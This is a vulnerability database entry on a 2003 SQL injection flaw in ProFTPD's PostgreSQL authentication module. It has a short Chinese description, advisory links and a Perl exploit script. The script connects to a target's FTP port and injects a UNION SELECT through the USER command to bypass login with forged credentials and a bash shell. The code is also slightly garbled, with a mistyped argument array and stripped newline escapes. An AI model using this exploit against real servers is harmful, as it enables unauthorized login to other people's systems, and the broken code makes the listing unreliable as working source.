https://www.exploit-db.com/exploits/43
https://www.securityfocus.com/bid/82756
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200308-006

ProFTPD1.2.9rc1之前版本的PostgreSQL认证模块存在SQL注入漏洞。远程攻击者借助USER名绕过认证或者盗取密码来执行任意SQL且提升特权。

#!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003

use IO::Socket;
if(@ARGC<2){
    print "nProof Of Concept Sql Inject on ProFTPDn";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]nn";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = 
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                          or die "Can't connect. n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION 
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' 
WHERE(''='n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS pn";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able n";
}else{
    print "[------- Sql Inject Unable n";
}
close $remote;

# milw0rm.com [2003-06-19]

ProFTPD Project ProFTPD 1.2.9 rc1

来源:DEBIAN
名称:DSA-338
链接:http://www.debian.org/security/2003/dsa-338
来源:FULLDISC
名称:20030618SQLInjectinProFTPDloginagainstPostgresqlusingmod_sql
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2003-June/005826.html